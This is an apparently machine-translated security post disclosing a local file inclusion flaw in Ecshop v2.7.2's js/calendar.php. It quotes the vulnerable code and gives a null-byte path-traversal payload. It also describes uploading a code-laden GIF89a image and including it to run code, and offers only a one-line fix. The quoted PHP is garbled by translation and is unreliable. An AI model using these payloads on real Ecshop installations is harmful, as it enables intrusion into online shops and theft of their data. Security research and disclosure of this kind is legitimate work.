Ecshop latest version (v272) local vulnerability ODAY (chicken ribs) and repair

Note: This article is only published for the purpose of learning. Do not use it for any illegal purposes!
I found it a long time ago. Let's release it today. It's actually very simple, that is, many people didn't pay attention to it here:
View the Code directly:
Js/calendar. php

$ Lang = (! Empty ($ _ GET [lang])
? Trim ($ _ GET [lang]): zh_cn; // the vulnerability is clearly contained because no filtering is performed.

If (! File_exists (../ages/. $ lang./calendar. php ))
{
$ Lang = zh_cn;
}

Require (dirname (_ FILE _)./data/config. php );
Header (Content-type: application/x-javascript; charset =. EC_CHARSET );

Include_once (../languages/. $ lang./calendar. php); // contains, needs to be truncated

Test code:

// Magic_quotes_gpc = Off

/Js/calendar. php? Lang = ../index. php % 00. (Note that there is .)
Exploitation:

Registered User

Then upload the GIF file in the GIF89a header to cheat,

Then contains the http://up.2cto.com/Article/201101/20110112103710903.gif%00 such as: [img.

 

Author: Small Mr. LP

Fixed: Correct filtering and truncation